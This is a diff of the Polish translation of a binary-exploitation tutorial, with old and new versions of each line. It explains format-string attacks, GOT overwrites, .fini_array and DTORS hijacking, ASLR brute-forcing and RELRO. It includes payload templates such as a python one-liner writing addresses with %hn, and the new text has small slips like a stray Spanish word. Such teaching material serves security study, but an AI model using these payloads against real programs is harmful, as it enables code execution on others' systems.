Pierwszy to długość następnego ciągu, a drugi to ciąg. +W powyższym przykładzie widzimy, że program oczekuje 2 parametrów. Pierwszy to długość następnego ciągu znaków, a drugi to ciąg znaków. -Jeśli podamy jako pierwszy parametr liczbę ujemną, zostanie wyświetlone, że len < 256 i przejdziemy przez ten filtr, a także strlen(buffer) będzie mniejsze niż l, ponieważ l jest typu unsigned int i będzie bardzo duże. +Jeśli podamy jako pierwszy parametr liczbę ujemną, program wyświetli, że len < 256 i przejdziemy przez ten filtr, a ponadto strlen(buffer) będzie mniejsze niż l, ponieważ l jest typu unsigned int i będzie bardzo duże. -Ten rodzaj przepełnienia nie ma na celu zapisania czegoś w procesie programu, ale przejście przez źle zaprojektowane filtry w celu wykorzystania innych podatności. +Ten rodzaj przepełnień nie ma na celu zapisania czegoś w procesie programu, ale przejście przez źle zaprojektowane filtry w celu wykorzystania innych podatności. -**Nie zainicjalizowane zmienne** +**Zmienne niezainicjowane** -Nie wiadomo, jaką wartość może przyjąć niezainicjalizowana zmienna, i może być interesujące to obserwować. Może się zdarzyć, że przyjmie wartość, którą przyjmowała zmienna z poprzedniej funkcji, a ta może być kontrolowana przez atakującego. +Nie wiadomo, jaką wartość może przyjąć zmienna niezainicjowana, dlatego warto to obserwować. Może się zdarzyć, że przyjmie wartość zmiennej z poprzedniej funkcji, która jest kontrolowana przez atakującego. -## **Formatowanie ciągów** +## **Format Strings** -W języku C funkcja **`printf`** może być używana do **wyświetlania** pewnego ciągu znaków. **Pierwszy parametr**, który oczekuje ta funkcja, to **surowy tekst z formatami**. **Następne parametry** oczekiwane są jako **wartości**, które mają **zastąpić formaty** w surowym tekście. +W języku C **`printf`** to funkcja, która może być używana do **wyświetlania** pewnego ciągu znaków. **Pierwszym parametrem**, którego ta funkcja oczekuje, jest **surowy tekst z formatami**. **Następne parametry** oczekiwane są jako **wartości**, które mają **zastąpić formatery** w surowym tekście. -Podatność pojawia się, gdy **atakujący tekst jest umieszczany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane, wykorzystując możliwości formatowania printf**, aby **zapisać dowolne dane pod dowolnym adresem**. W ten sposób możliwe jest **wykonanie dowolnego kodu**. +Podatność pojawia się, gdy **tekst atakującego jest umieszczany jako pierwszy argument** tej funkcji. Atakujący będzie mógł stworzyć **specjalne dane wykorzystując** możliwości **formatowania printf**, aby **zapisać dowolne dane pod dowolnym adresem**. Dzięki temu będzie mógł **wykonać dowolny kod**. -Formaty: +Formatery: ```bash %08x —> 8 hex bytes %d —> Entire @@ -407,61 +301,61 @@ Formaty: %hn —> Occupies 2 bytes instead of 4 $X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` -**`%n`** **zapisuje** **liczbę zapisanych bajtów** pod wskazany adres. Poprzez zapisanie **odpowiedniej liczby bajtów** w postaci heksadecymalnej, możemy **zapisać dowolne dane**. +**`%n`** **zapisuje** liczbę **napisanych bajtów** pod wskazanym adresem. Zapisując **tyle bajtów**, ile wynosi liczba szesnastkowa, którą **chcemy zapisać**, możemy **zapisać dowolne dane**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` ### GOT (Global Offsets Table) / PLT (Procedure Linkage Table) -To jest tabela zawierająca **adresy** **funkcji zewnętrznych** używanych przez program. +To jest tabela zawierająca **adresy** do **funkcji zewnętrznych** używanych przez program. -Aby uzyskać adres do tej tabeli, użyj: **`objdump -s -j .got ./exec`** +Pobierz adres tej tabeli za pomocą: **`objdump -s -j .got ./exec`** ![](<../../.gitbook/assets/image (619).png>) -Zauważ, że po **załadowaniu** pliku **wykonywalnego** w GEF możesz **zobaczyć** **funkcje**, które znajdują się w **GOT**: `gef➤ x/20x 0xDIR_GOT` +Zauważ, jak po **załadowaniu** pliku wykonywalnego w GEF możesz **zobaczyć** **funkcje**, które znajdują się w **GOT**: `gef➤ x/20x 0xDIR_GOT` ![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) -Za pomocą GEF możesz **rozpocząć** sesję **debugowania** i wykonać **`got`**, aby zobaczyć tabelę got: +Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **`got`**, aby zobaczyć tabelę got: ![](<../../.gitbook/assets/image (621).png>) -W pliku binarnym GOT zawiera **adresy funkcji lub** sekcji **PLT**, która załaduje adres funkcji. Celem tego ataku jest **nadpisanie wpisu GOT** funkcji, która zostanie wykonana później, **adresem** PLT funkcji **`system`**. Idealnie byłoby **nadpisać** GOT **funkcji**, która jest **wywoływana z parametrami kontrolowanymi przez ciebie** (dzięki temu będziesz mógł kontrolować parametry przesyłane do funkcji systemowej). +W pliku binarnym GOT zawiera **adresy funkcji lub** sekcji **PLT**, która załaduje adres funkcji. Celem tego exploitu jest **nadpisanie wpisu GOT** funkcji, która zostanie wykonana później **adresem** PLT funkcji **`system`**. Idealnie, nadpiszesz **GOT** funkcji, która **zostanie wywołana z kontrolowanymi przez ciebie parametrami** (dzięki czemu będziesz mógł kontrolować parametry przesyłane do funkcji system). -Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemowa **nie** będzie miała wpisu w GOT. W takim przypadku **należy najpierw ujawnić adres** funkcji `system`. +Jeśli **`system`** **nie jest używany** przez skrypt, funkcja systemowa **nie** będzie miała wpisu w GOT. W takim scenariuszu będziesz **musiał najpierw ujawnić adres** funkcji `system`. -**Procedure Linkage Table** to **tabela tylko do odczytu** w pliku ELF, która przechowuje wszystkie niezbędne **symbole wymagające rozwiązania**. Gdy jedna z tych funkcji zostanie wywołana, **GOT** przekieruje **przepływ** do **PLT**, aby rozwiązać **adres** funkcji i zapisać go w GOT.\ -Następnie, **przy kolejnym** wywołaniu pod tego adresu **funkcja** jest **wywoływana bezpośrednio**, bez konieczności rozwiązywania jej. +**Procedure Linkage Table** to tabela **tylko do odczytu** w pliku ELF, która przechowuje wszystkie niezbędne **symbole wymagające rozwiązania**. Gdy jedna z tych funkcji zostanie wywołana, **GOT** przekieruje **przepływ** do **PLT**, aby móc **rozwiązać** **adres** funkcji i zapisać go w GOT.\ +Następnie, **przy następnym** wywołaniu tego adresu **funkcja** jest **wywoływana bezpośrednio** bez konieczności jej rozwiązywania. Możesz zobaczyć adresy PLT za pomocą **`objdump -j .plt -d ./vuln_binary`** -### **Przebieg ataku** +### **Przepływ exploitacji** -Jak już wyjaśniono, celem będzie **nadpisanie adresu funkcji** w tabeli GOT, która zostanie wywołana później. Idealnie byłoby ustawić **adres na shellcode** znajdujący się w sekcji wykonywalnej, ale prawdopodobnie nie będziesz w stanie napisać shellcode w sekcji wykonywalnej.\ -Inną opcją jest **nadpisanie funkcji**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **skierowanie** jej do funkcji **`system`**. +Jak wyjaśniono wcześniej, celem będzie **nadpisanie adresu** funkcji w tabeli **GOT**, która zostanie wywołana później. Idealnie moglibyśmy ustawić **adres do shellcode'u** znajdującego się w sekcji wykonywalnej, ale jest bardzo prawdopodobne, że nie będziesz mógł napisać shellcode'u w sekcji wykonywalnej.\ +Dlatego inną opcją jest **nadpisanie funkcji**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **skierowanie** jej do funkcji **`system`**. -Aby zapisać adres, zazwyczaj wykonuje się 2 kroki: Najpierw **zapisuje się 2 bajty** adresu, a następnie pozostałe 2. Do tego używa się **`$hn`**. +Aby zapisać adres, zazwyczaj wykonuje się 2 kroki: **najpierw zapisujesz 2 bajty** adresu, a następnie pozostałe 2. Do tego używa się **`$hn`**. -**HOB** odnosi się do 2 starszych bajtów adresu\ -**LOB** odnosi się do 2 młodszych bajtów adresu +**HOB** oznacza 2 najstarsze bajty adresu\ +**LOB** oznacza 2 najmłodsze bajty adresu -Zatem, ze względu na to, jak działa format string, musisz **najpierw zapisać mniejszy** z \[HOB, LOB], a następnie drugi. +Zatem, ze względu na sposób działania formatu łańcuchów, musisz **najpierw zapisać mniejszy** z \[HOB, LOB], a następnie drugi. Jeśli HOB < LOB\ -`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` +`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` Jeśli HOB > LOB\ -`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` +`[adres+2][adres]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` -### **Szablon ataku format string** +### **Szablon exploitacji formatu łańcuchów** -Możesz znaleźć **szablon** do ataku na GOT za pomocą format-strings tutaj: +Możesz znaleźć **szablon** do eksploitacji GOT za pomocą łańcuchów formatujących tutaj: {% content-ref url="format-strings-template.md" %} [format-strings-template.md](format-strings-template.md) @@ -469,7 +363,7 @@ Możesz znaleźć **szablon** do ataku na GOT za pomocą format-strings tutaj: ### **.fini\_array** -W zasadzie jest to struktura zawierająca **funkcje, które zostaną wywołane** przed zakończeniem programu. Jest to interesujące, jeśli można wywołać **shellcode, skacząc do adresu**, lub w przypadkach, gdy trzeba wrócić do głównego programu, aby **ponownie wykorzystać format string**. +W zasadzie jest to struktura z **funkcjami, które zostaną wywołane** przed zakończeniem programu. Jest to interesujące, jeśli możesz wywołać swój **shellcode, skacząc do adresu**, lub w przypadkach, gdy musisz wrócić ponownie do głównego, aby **ponownie wykorzystać format łańcucha**. ```bash objdump -s -j .fini_array ./greeting @@ -480,123 +374,92 @@ Contents of section .fini_array: #Put your address in 0x8049934 ``` -Zauważ, że to **nie spowoduje** **wiecznej pętli**, ponieważ gdy wrócisz do funkcji głównej, canary zauważy, że koniec stosu może być uszkodzony i funkcja nie zostanie ponownie wywołana. Dzięki temu będziesz mógł **wykonać 1 dodatkowe** podatne wykonanie. +Zauważ, że to **nie** spowoduje **wiecznej pętli**, ponieważ gdy wrócisz do głównej funkcji, canary zauważy, że koniec stosu może być uszkodzony i funkcja nie zostanie ponownie wywołana. Dzięki temu będziesz mógł **wykonać 1 dodatkowe** wywołanie podatności. -### **Formatowanie ciągów znaków do wycieku zawartości** +### **Formatowanie łańcucha do wycieku zawartości** -Formatowanie ciągów znaków może również być wykorzystane do **wycieku zawartości** z pamięci programu.\ -Na przykład, w następującej sytuacji lokalna zmienna na stosie wskazuje na flagę. Jeśli **znajdziesz** w **pamięci** **wskaźnik** do **flagi**, możesz sprawić, że **printf** uzyska dostęp do tego **adresu** i **wyświetli** flagę: +Łańcuch formatujący może również być nadużyty do **wycieku zawartości** z pamięci programu.\ +Na przykład, w następującej sytuacji istnieje **zmienna lokalna na stosie wskazująca na flagę**. Jeśli **znajdziesz**, gdzie w **pamięci** jest **wskaźnik** do **flagi**, możesz sprawić, że **printf** uzyska dostęp do tego **adresu** i **wyświetli** flagę: Więc flaga jest pod adresem **0xffffcf4c** ![](<../../.gitbook/assets/image (618) (2).png>) -Z wycieku możesz zobaczyć, że **wskaźnik do flagi** znajduje się w **8. parametrze**: +A z wycieku możesz zobaczyć, że **wskaźnik do flagi** jest w **8. parametrze**: ![](<../../.gitbook/assets/image (623).png>) -Więc, **uzyskując dostęp** do **8. parametru**, możesz otrzymać flagę: +Więc, **uzyskując dostęp** do **8. parametru**, możesz uzyskać flagę: ![](<../../.gitbook/assets/image (624).png>) -Zauważ, że po **poprzednim ataku** i zrozumieniu, że możesz **wyciekać zawartość**, możesz **ustawić wskaźniki** na **`printf`** w sekcji, w której jest **załadowany** plik wykonywalny i **całkowicie go wyciekać**! +Zauważ, że po **poprzednim ataku** i zrozumieniu, że możesz **wyciekać zawartość**, możesz **ustawić wskaźniki** na **`printf`** w sekcji, gdzie jest **załadowany** **plik wykonywalny** i **wyciekać** go **całkowicie**! ### **DTOR** {% hint style="danger" %} -Obecnie jest bardzo **rzadko spotkać binarny plik z sekcją dtor**. +Obecnie jest bardzo **dziwne znalezienie binarnego pliku z sekcją dtor**. {% endhint %} Destruktory to funkcje, które są **wykonywane przed zakończeniem programu**.\ -Jeśli uda ci się **zapisać** adres **shellcode** w **`__DTOR_END__`**, zostanie on **wykonany** przed zakończeniem programu.\ -Aby uzyskać adres tej sekcji, użyj: +Jeśli uda ci się **zapisać** adres **shellcode** w **`__DTOR_END__`**, to zostanie **wykonany** przed zakończeniem programu.\ +Uzyskaj adres tej sekcji za pomocą: ```bash objdump -s -j .dtors /exec rabin -s /exec | grep “__DTOR” ``` -Zazwyczaj sekcję **DTOR** znajdziesz **między** wartościami `ffffffff` i `00000000`. Jeśli widzisz tylko te wartości, oznacza to, że **nie ma zarejestrowanej żadnej funkcji**. Aby ją uruchomić, **nadpisz** wartość **`00000000`** adresem **shellcode**. +Zazwyczaj znajdziesz sekcję **DTOR** **pomiędzy** wartościami `ffffffff` i `00000000`. Jeśli widzisz tylko te wartości, oznacza to, że **nie ma zarejestrowanej żadnej funkcji**. Nadpisz wartość **`00000000`** adresem **shellcode'u**, aby go wykonać. -### **Formatowanie ciągów znaków do przepełnienia bufora** +### **Formatowanie łańcuchów do przepełnień bufora** -Funkcja **sprintf** przenosi sformatowany ciąg znaków do zmiennej. Można wykorzystać **formatowanie** ciągu znaków do spowodowania **przepełnienia bufora w zmiennej** do której jest kopiowany. Na przykład ładunek `%.44xAAAA` zapisze **44B+"AAAA" w zmiennej**, co może spowodować przepełnienie bufora. +Funkcja **sprintf** przenosi sformatowany łańcuch **do** zmiennej. Dlatego można nadużyć **formatowania** łańcucha, aby spowodować **przepełnienie bufora w zmiennej**, do której jest kopiowana zawartość.\ +Na przykład ładunek `%.44xAAAA` zapisze 44B+"AAAA" w zmiennej, co może spowodować przepełnienie bufora. ### **Struktury \_\_atexit** {% hint style="danger" %} -Obecnie jest to bardzo **rzadkie do wykorzystania**. +Obecnie jest bardzo **dziwne, aby to wykorzystać**. {% endhint %} -**`atexit()`** to funkcja, do której przekazywane są **inne funkcje jako parametry**. Te **funkcje** zostaną **wykonane** podczas wywołania **`exit()`** lub **zakończenia** funkcji **main**. Jeśli można **zmodyfikować** **adres** dowolnej z tych **funkcji**, aby wskazywał na shellcode na przykład, można **uzyskać kontrolę** nad **procesem**, ale obecnie jest to bardziej skomplikowane.\ -Obecnie **adresy funkcji**, które mają być wykonane, są **ukryte** za kilkoma strukturami, a na końcu adres, na który wskazuje, nie jest adresem funkcji, ale jest **zaszyfrowany za pomocą operacji XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku jest **niewielce przydatny, przynajmniej na x86** i **x64\_86**.\ -Funkcja **szyfrująca** to **`PTR_MANGLE`**. **Inne architektury**, takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrującej**, ponieważ **zwracają to samo**, co otrzymują jako dane wejściowe. Dlatego te architektury mogą być podatne na ten wektor ataku. +**`atexit()`** to funkcja, do której **przekazywane są inne funkcje jako parametry**. Te **funkcje** zostaną **wykonane** podczas wykonywania **`exit()`** lub **powrotu** do **main**.\ +Jeśli można **zmodyfikować adres** dowolnej z tych **funkcji**, aby wskazywał na shellcode na przykład, uzyskasz **kontrolę** nad **procesem**, ale obecnie jest to bardziej skomplikowane.\ +Obecnie **adresy funkcji** do wykonania są **ukryte** za kilkoma strukturami, a ostatecznie adres, na który wskazują, nie są adresami funkcji, lecz są **zaszyfrowane za pomocą operacji XOR** i przesunięć z **losowym kluczem**. Dlatego obecnie ten wektor ataku **nie jest bardzo przydatny przynajmniej na x86** i **x64\_86**.\ +Funkcja **szyfrowania** to **`PTR_MANGLE`**. **Inne architektury** takie jak m68k, mips32, mips64, aarch64, arm, hppa... **nie implementują funkcji szyfrowania**, ponieważ **zwracają to samo**, co otrzymały jako dane wejściowe. Dlatego te architektury mogą być podatne na ten wektor ataku. ### **setjmp() & longjmp()** {% hint style="danger" %} -Obecnie jest to bardzo **rzadkie do wykorzystania**. +Obecnie jest bardzo **dziwne, aby to wykorzystać**. {% endhint %} -**`Setjmp()`** pozwala na **zapisanie** **kontekstu** (rejestrów)\ -**`longjmp()`** pozwala na **przywrócenie** **kontekstu**.\ +**`Setjmp()`** pozwala **zapisać** kontekst (rejestry)\ +**`longjmp()`** pozwala **przywrócić** kontekst.\ Zapisane rejestry to: `EBX, ESI, EDI, ESP, EIP, EBP`\ -Problem polega na tym, że EIP i ESP są przekazywane przez funkcję **`PTR_MANGLE`**, więc **architektura podatna na ten atak jest taka sama jak powyżej**.\ -Są one przydatne do obsługi błędów lub przerwań.\ -Jednak z tego, co przeczytałem, inne rejestry nie są chronione, **więc jeśli wewnątrz wywoływanej funkcji występuje `call ebx`, `call esi` lub `call edi`**, można przejąć kontrolę. Można również zmodyfikować EBP, aby zmodyfikować ESP. +To, co się dzieje, to że EIP i ESP są przekazywane przez funkcję **`PTR_MANGLE`**, więc **architektura podatna na ten atak jest taka sama jak powyżej**.\ +Są one przydatne do odzyskiwania błędów lub przerwań.\ +Jednak z tego, co przeczytałem, inne rejestry nie są chronione, **więc jeśli wewnątrz wywoływanej funkcji jest `call ebx`, `call esi` lub `call edi`**, kontrolę można przejąć. Lub można również zmodyfikować EBP, aby zmodyfikować ESP. **VTable i VPTR w C++** Każda klasa ma **Vtable**, która jest tablicą **wskaźników do metod**. -Każdy obiekt **klasy** ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli osiągnięto **nadpisanie** VPtr, można go **zmodyfikować**, aby wskazywał na metodę zastępczą, dzięki czemu wykonanie funkcji przeniesie się do shellcode. +Każdy obiekt **klasy** ma **VPtr**, który jest **wskaźnikiem** do tablicy swojej klasy. VPtr jest częścią nagłówka każdego obiektu, więc jeśli osiągnięto **nadpisanie** VPtr, można je **zmodyfikować**, aby wskazywało na metodę zastępczą, dzięki czemu wykonanie funkcji przejdzie do shellcode'u. -## **Środki zapobiegawcze i uniki** - -**ASLR nie tak losowe** - -PaX dzieli przestrzeń adresową procesu na 3 grupy: - -Kod i dane zainicjowane i niezainicjowane: .text, .data i .bss —> 16 bitów entropii w zmiennej delta\_exec, ta zmienna jest inicjowana losowo przy każdym procesie i dodawana do adresów początkowych - -Pamięć przydzielona przez mmap() i biblioteki współdzielone —> 16 bitów, delta\_mmap - -Stos —> 24 bity, delta\_stack —> W rzeczywistości 11 (od 10 do 20 włącznie) —> wyrównany do 16 bajtów —> 524288 możliwych rzeczywistych adresów stosu - -Zmienne środowiskowe i argumenty przesuwane są mniej niż bufor na stosie. +## **Zapobieganie i unikanie** **Return-into-printf** -Jest to technika zamiany przepełnienia bufora na błąd formatu ciągu znaków. Polega na zmianie EIP, aby wskazywał na printf funkcji i przekazaniu sfałszowanego ciągu formatującego jako argumentu, aby uzyskać informacje o stanie procesu. +To technika zamiany przepełnienia bufora na błąd formatu łańcucha. Polega na zmianie EIP, aby wskazywał na printf funkcji i przekazaniu mu sformatowanego łańcucha, aby uzyskać informacje o stanie procesu. **Atak na biblioteki** -Biblioteki mają pozycję z 16-bitową losowością = 65636 możliwych adresów. Jeśli podatny serwer wywołuje fork(), przestrzeń adresowa pamięci jest kopiowana do procesu potomnego i pozostaje nietknięta. Można więc spróbować przeprowadzić atak brute force na funkcję usleep() z biblioteki libc, przekazując jej argument "16", aby znaleźć tę funkcję, gdy zajmie więcej czasu niż zwykle na odpowiedź. Znając pozycję tej funkcji, można uzyskać delta\_mmap i obliczyć pozostałe. +Biblioteki mają pozycję z 16-bitową losowością = 65636 możliwych adresów. Jeśli serwer podatny wywołuje fork(), przestrzeń adresowa pamięci jest klonowana w procesie potomnym i pozostaje nietknięta. Dlatego można spróbować przeprowadzić atak siłowy na funkcję usleep() z libc, przekazując jej argument "16", aby gdy odpowiedź zajmie dłużej niż zwykle, funkcja zostanie znaleziona. Znając lokalizację tej funkcji, można uzyskać delta\_mmap i obliczyć pozostałe. -Jedynym pewnym sposobem sprawdzenia, czy ASLR działa, jest użycie architektury 64-bitowej. Tam nie ma ataków brute force. +Jedynym sposobem, aby mieć pewność, że ASLR działa, jest korzystanie z architektury 64-bitowej. Tam nie ma ataków siłowych. -**StackGuard i StackShield** - -**StackGuard** wstawia przed EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Nadal podatne są recv(), memcpy(), read(), bcoy() i nie chroni EBP - -**StackShield** jest bardziej zaawansowany niż StackGuard - -Zapisuje w tabeli (Global Return Stack) wszystkie adresy EIP powrotne, dzięki czemu przepełnienie bufora nie powoduje żadnych szkód. Ponadto, można porównać oba adresy, aby sprawdzić, czy wystąpiło przepełnienie. - -Można również sprawdzić adres powrotu za pomocą wartości granicznej, więc jeśli EIP przechodzi do innego miejsca niż zwykle, takiego jak przestrzeń danych, będzie wiadomo. Ale można to obejść za pomocą Ret-to-lib, ROP lub ret2ret. - -Jak widać, stackshield również nie chroni zmiennych lokalnych. - -**Stack Smash Protector (ProPolice) -fstack-protector** - -Canary jest umieszczany przed EBP. Przeorganizowuje zmienne lokalne, aby bufory były na najwyższych pozycjach i nie mogły nadpisywać innych zmiennych. - -Dodatkowo, wykonuje bezpieczną kopię przekazanych argumentów nad zmiennymi lokalnymi i używa tych kopii jako argumentów. - -Nie może chronić tablic o mniej niż 8 elementach ani buforów będących częścią struktury użytkownika. - -Canary to losowa liczba pobrana z "/dev/urandom" lub jeśli nie jest dostępna, to 0xff0a0000. Przechowywana jest w TLS (Thread Local Storage). Wątki dzielą tę samą przestrzeń pamięci, a TLS to obszar zawierający zmienne globalne lub statyczne dla każdego wątku. Jednak początkowo są one kopiowane z procesu macierzystego, chociaż proces potomny może zmieniać te dane bez zmiany danych rodzica ani innych dzieci. Problem polega na tym, że ### Relro -**Relro (Read only Relocation)** wpływa na uprawnienia pamięci podobnie jak NX. Różnica polega na tym, że podczas gdy NX czyni stos wykonywalnym, RELRO czyni **pewne rzeczy tylko do odczytu**, więc nie możemy ich zapisywać. Najczęstszy sposób, w jaki widziałem, że to stanowi przeszkodę, polega na uniemożliwieniu nam **nadpisania tabeli `got`**, o czym będzie mowa później. Tabela `got` przechowuje adresy funkcji libc, dzięki czemu binarny plik wie, jakie są te adresy i może je wywołać. Zobaczmy, jak wyglądają uprawnienia pamięci dla wpisu w tabeli `got` dla binarnego pliku z i bez relro. +**Relro (Read only Relocation)** wpływa na uprawnienia pamięci podobnie jak NX. Różnica polega na tym, że podczas gdy NX sprawia, że stos jest wykonywalny, RELRO sprawia, że **pewne rzeczy są tylko do odczytu**, więc **nie możemy zapisywać** do nich. Najczęstszą przeszkodą, jaką widziałem, jest uniemożliwienie nam wykonania **nadpisania tabeli `got`**, o czym będzie mowa później. Tabela `got` przechowuje adresy funkcji libc, dzięki czemu binarny plik wie, jakie są adresy i może je wywołać. Zobaczmy, jak wyglądają uprawnienia pamięci dla wpisu tabeli `got` dla binarnego pliku z i bez relro. Z relro: ```bash @@ -664,183 +527,195 @@ gef➤ search-pattern 0x7ffff7e4d100 [+] In '/tmp/try'(0x404000-0x405000), permission=rw- 0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]" ``` -Dla binarnego pliku **bez relro** możemy zobaczyć, że adres wpisu `got` dla funkcji `fgets` to `0x404018`. Patrząc na mapowanie pamięci, widzimy, że mieści się między `0x404000` a `0x405000`, co oznacza, że ma uprawnienia **`rw`**, co oznacza, że możemy go odczytywać i zapisywać. Dla binarnego pliku **z relro**, widzimy, że adres tabeli `got` dla uruchomienia binarnego (pie jest włączone, więc ten adres się zmieni) to `0x555555557fd0`. W mapowaniu pamięci tego binarnego mieści się między `0x0000555555557000` a `0x0000555555558000`, co oznacza, że ma uprawnienia pamięci **`r`**, co oznacza, że możemy tylko odczytywać. +Dla binarnego **bez relro**, możemy zauważyć, że adres wpisu `got` dla `fgets` to `0x404018`. Patrząc na mapowanie pamięci, widzimy, że mieści się między `0x404000` a `0x405000`, co ma **uprawnienia `rw`**, co oznacza, że możemy odczytywać i zapisywać do niego. Dla binarnego **z relro**, widzimy, że adres tabeli `got` dla uruchomienia binarnego (włączony jest `pie`, więc ten adres się zmieni) to `0x555555557fd0`. W mapowaniu pamięci tego binarnego mieści się między `0x0000555555557000` a `0x0000555555558000`, co ma uprawnienia pamięci **`r`**, co oznacza, że możemy tylko odczytywać z niego. -Więc jaki jest **sposób obejścia**? Typowe obejście, które stosuję, to po prostu nie zapisuj do obszarów pamięci, które relro powoduje, że są tylko do odczytu, i **znajdź inną metodę wykonania kodu**. +Więc jaki jest **sposób obejścia**? Typowe obejście, które stosuję, to po prostu nie zapisywać do obszarów pamięci, które relro powoduje, że są tylko do odczytu, i **znaleźć inną metodę wykonania kodu**. -Należy zauważyć, że aby to się stało, binarny plik musi znać wcześniej adresy funkcji: +Zauważ, że aby to miało miejsce, binarny musi znać wcześniej adresy funkcji: -* Opóźnione wiązanie: Adres funkcji jest wyszukiwany przy pierwszym wywołaniu funkcji. Dlatego GOT musi mieć uprawnienia do zapisu podczas wykonywania. -* Wiązanie teraz: Adresy funkcji są rozwiązywane na początku wykonywania, a następnie nadawane są uprawnienia tylko do odczytu dla sekcji wrażliwych, takich jak .got, .dtors, .ctors, .dynamic, .jcr. `` `** ``-z relro`**`y`**`-z now\`\*\* +* Leniwe wiązanie: Adres funkcji jest wyszukiwany za pierwszym razem, gdy funkcja jest wywoływana. Dlatego GOT musi mieć uprawnienia do zapisu podczas wykonywania. +* Wiązanie teraz: Adresy funkcji są rozwiązane na początku wykonania, a następnie sekcjom wrażliwym takim jak .got, .dtors, .ctors, .dynamic, .jcr nadane są uprawnienia tylko do odczytu. `` `** ``-z relro`**`y`**`-z now\`\*\* -Aby sprawdzić, czy program używa Wiązania teraz, można to zrobić: +Aby sprawdzić, czy program używa Wiązania teraz, można wykonać: ```bash readelf -l /proc/ID_PROC/exe | grep BIND_NOW ``` -Kiedy binarny jest ładowany do pamięci i funkcja jest wywoływana po raz pierwszy, skacze się do PLT (Procedure Linkage Table), a stamtąd następuje skok (jmp) do GOT i odkrywa, że ten wpis nie został rozwiązany (zawiera następną adres z PLT). Następnie wywołuje Runtime Linker lub rtfd, aby rozwiązał adres i zapisał go w GOT. +Cuando binarny jest załadowany do pamięci i funkcja jest wywoływana po raz pierwszy, skacze się do PLT (Procedure Linkage Table), skąd następuje skok (jmp) do GOT i odkrywa, że ten wpis nie został rozwiązany (zawiera adres następnej instrukcji z PLT). Następnie Runtime Linker lub rtfd jest wywoływany, aby rozwiązać adres i zapisać go w GOT. -Podczas wywoływania funkcji, wywoływana jest PLT, która zawiera adres GOT, w którym przechowywany jest adres funkcji, więc przekierowuje przepływ tam i wywołuje funkcję. Jednak jeśli jest to pierwsze wywołanie funkcji, to co jest w GOT to następna instrukcja z PLT, dlatego przepływ podąża za kodem PLT (rtfd) i dowiaduje się adresu funkcji, zapisuje go w GOT i wywołuje. +Podczas wywoływania funkcji, PLT jest wywoływane, które zawiera adres GOT, gdzie przechowywany jest adres funkcji, więc przekierowuje przepływ tam i wywołuje funkcję. Jednakże, jeśli jest to pierwsze wywołanie funkcji, GOT zawiera następną instrukcję z PLT, więc przepływ kontynuuje kod z PLT (rtfd) i uzyskuje adres funkcji, zapisuje go w GOT i wywołuje. -Podczas ładowania binarnego do pamięci, kompilator mówi mu, na jakim przesunięciu należy umieścić dane, które mają być załadowane podczas uruchamiania programu. +Podczas ładowania binarnego do pamięci, kompilator mówi, w jakim przesunięciu należy umieścić dane do załadowania podczas uruchamiania programu. -Lazy binding -> Adres funkcji jest wyszukiwany tylko przy pierwszym wywołaniu tej funkcji, dlatego GOT ma uprawnienia do zapisu, aby, gdy zostanie wyszukany, zostanie tam zapisany i nie trzeba go ponownie wyszukiwać. +Lazy binding —> Adres funkcji jest wyszukiwany tylko przy pierwszym wywołaniu tej funkcji, więc GOT ma uprawnienia do zapisu, aby zapisać go tam i nie trzeba było ponownie go szukać. -Bind now -> Adresy funkcji są wyszukiwane podczas ładowania programu i zmieniane są uprawnienia sekcji .got, .dtors, .ctors, .dynamic, .jcr na tylko do odczytu. -z relro i -z now +Bind now —> Adresy funkcji są wyszukiwane podczas ładowania programu, a uprawnienia sekcji .got, .dtors, .ctors, .dynamic, .jcr są zmieniane na tylko do odczytu. **-z relro** i **-z now** -Mimo to, ogólnie rzecz biorąc, programy nie są skomplikowane z tymi opcjami, więc te ataki nadal są możliwe. +Mimo to, ogólnie programy nie są skomplikowane z tymi opcjami, więc te ataki nadal są możliwe. -readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Aby sprawdzić, czy używają BIND NOW +**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Aby sprawdzić, czy używają BIND NOW -Fortify Source -D_FORTIFY_SOURCE=1 lub =2 +**Fortify Source -D\_FORTIFY\_SOURCE=1 lub =2** -Próbuje zidentyfikować funkcje, które kopiują dane z jednego miejsca do drugiego w sposób niebezpieczny i zamienia funkcję na bezpieczną funkcję. +Stara się zidentyfikować funkcje, które kopiują dane z jednego miejsca do drugiego w sposób niebezpieczny i zamienia funkcję na bezpieczną. -Na przykład: -char buf[16]; -strcpy(buf, source); +Na przykład:\ +char buf\[16];\ +strcpy(but, source); -Rozpoznaje to jako niebezpieczne i zamienia strcpy() na __strcpy_chk(), używając rozmiaru bufora jako maksymalnego rozmiaru do skopiowania. +Rozpoznaje to jako niebezpieczne i zamienia strcpy() na \_\_strcpy\_chk(), używając rozmiaru 